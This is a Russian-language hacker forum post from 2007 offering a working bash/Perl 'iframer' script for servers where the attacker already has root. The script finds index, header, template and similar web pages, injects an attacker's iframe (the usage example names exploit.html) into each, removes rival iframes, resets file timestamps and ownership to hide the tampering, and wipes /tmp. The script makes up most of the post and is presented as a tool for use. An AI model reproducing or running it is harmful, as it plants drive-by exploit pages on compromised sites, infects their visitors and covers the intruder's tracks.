Показать сообщение отдельно

  #27  
Старый 28.04.2007, 21:32
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
С нами: 10358301

Репутация: 42
По умолчанию

Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза:
[*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно
[+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep
[+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов
[+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*>
[+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая )
[+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить
[+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось)
[-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле
[-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично!
Код:
#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

usage () {
  echo "################################################"
  echo "#    Shadow iframer[local]  (c)ode by Gh0s7    #"
  echo "#              Moded By Sunb0rn                #"
  echo "################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]    #"
  echo "#       ./sh-iframe.sh exploit.html  /var/www/ #"
  echo "################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then 
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then 
  usage
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)     or die "no $file: $!";
  $d_uid = $info->uid;
  $d_gid = $info->gid;
  $d_atime = $info->atime;
  $d_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  my $frcount = 0;
  while (<FILE>)
  {
	print TMP $_;
	my $linelength = length $_;
	while (/<iframe.*><\/iframe>/i)
	{
		if (/$inject/i) {$frcount ++;}
		if ((!/$inject/i)||($frcount > 1))
		{
			seek(TMP,-$linelength,1);
			if ($_ =~ /$inject/i) {$frcount --;}
			$_ =~ s/(<iframe.*><\/iframe>)//i;
			print TMP $_;
			$linelength = length $_;
		}
	}
	if ((/<body/i)&&($frcount < 1))
	{
		if (/>/)
		{
			print TMP $code;
			$frcount ++;
			$overwrite = 1;
		}
	}
	if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
	{
		seek(TMP,-$linelength,1);
		print TMP $code.$_;
		$frcount ++;
		$overwrite = 1;
	}
  }
  close (FILE);
  close (TMP);
  if ($overwrite == 1)
  {
	  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
	  system ("./mv $file /tmp/$res[$len-1].bak");
	  system ("./mv /tmp/$res[$len-1] $file");
	  utime $d_atime, $d_mtime, $file;
	  system ("chown $d_uid:$d_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/* iframer.pl
echo "[*] Finished"
exit 0
Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал...

P.S. извиняюсь за русский - не родной
P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!
 
Ответить с цитированием